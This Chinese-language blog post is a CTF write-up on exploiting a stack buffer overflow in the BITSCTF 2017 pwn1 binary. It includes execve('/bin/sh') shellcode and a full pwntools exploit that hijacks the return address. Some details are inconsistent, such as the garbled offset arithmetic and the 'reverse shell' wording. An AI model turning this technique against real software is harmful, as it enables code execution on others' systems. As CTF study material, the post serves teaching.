PWN_04-BITSCTF 2017-Command_Line-pwn1分析
程序简单的分析
首先放入ubuntu上执行程序,简单了程序的执行流程
程序运行之后只是简单地给我们返回一个地址,然后要求我们输入,输入之后回车程序就结束,那出现的地址是什么呢?
我们将其导入IDAPro进行反汇编分析
我们发现程序中main主函数中调用了printf函数,并且格式化输出了一个变量的地址,然后又调用了scanf函数要求我们输出,并且我们输入的数据保存地址也是刚刚打印出来的地址
按F5进行伪代码查看
程序基本的流程已经了解清楚了,接下来我们进行动态调试,找出漏洞点并进行利用
漏洞点寻找
其实我们在静态分析时已经发现了危险函数printf,接下来进行动态调试
还是F2下断点,F9开始运行程序
之后我们按F8单步运行,执行到printf函数,我们可以看到程序打印的地址,继续执行,执行到scanf函数,输入8个A
此时我们发现栈中保存了8个A(ascii值为41),地址为0x00007FFFCD13A9A0,并且发现打印的地址与我们输入8个A的地址相同,我们继续执行,查看main函数返回时它的rip是多少,看看是否可以利用覆盖来控制程序的执行流程呢?
我们发现返回地址就在字符串输入地址的上边,我们可以利用覆盖,修改rip的值劫持之后执行后续的代码,我们可以利用shellcode,将其写到某一个特定的地址,然后程序执行到返回时,劫持rip之后执行shellcode代码,反弹shell。
我们输入
0x00007FFFCD13A9B832-0x00007FFFCD13A9A0+0x8=0x20
个A,覆盖掉返回地址,看是否会报错完全符合预期,接下来我们就进行漏洞利用吧
漏洞利用
我们已经找到了漏洞点,并做了一些简单的分析,我们可以输入24个A,再拼接之后shellcode保存的地址,shellcode也拼接到后边,我们的想法就是如下图:
我们程序为linux64位的,我们寻找一个linux64位程序的shellcode
"\x48\x31\xd2" // xor %rdx, %rdx "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx "\x48\xc1\xeb\x08" // shr $0x8, %rbx "\x53" // push %rbx "\x48\x89\xe7" // mov %rsp, %rdi "\x50" // push %rax "\x57" // push %rdi "\x48\x89\xe6" // mov %rsp, %rsi "\xb0\x3b" // mov $0x3b, %al "\x0f\x05"; // syscall
整理之后shellcode为:
\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05
万事俱备,我们来构造我们的payload
payload = 'A'*24+b64(泄露地址+0x20)+'\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
最终exp为:
#coding:utf-8 from pwn import * io = process("./pwn1") shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" shellcode_address = int(io.recv()[:-1], 16)+0x20 #泄露的栈地址+0x20即为我们放置的shellcode地址 log.info("Leak stack address = %x", shellcode_address) #打印泄露地址 payload = "A"*24 #任意字符填充到栈中至保存的RIP处 payload += p64(shellcode_address) #拼接shellcode所在的栈地址,劫持RIP到该地址以执行shellcode payload += shellcode #执行system("/bin/sh")的shellcode io.sendline(payload) io.interactive()
执行结果
总结
- 本次程序主要是直接利用程序没有对我们输入的东西做限制,我们劫持eip,控制程序执行流程,并写入预先写好的shellcode执行。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com
文章标题:PWN_04-BITSCTF 2017-Command_Line-pwn1分析
本文作者:二豆子·pwnd0u
发布时间:2019-12-02, 22:41:25
最后更新:2020-11-21, 16:32:17
原始链接:http://blog.codefat.cn/2019/12/02/%C2%96BITSCTF-2017-Command-Line-pwn1%E5%88%86%E6%9E%90/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。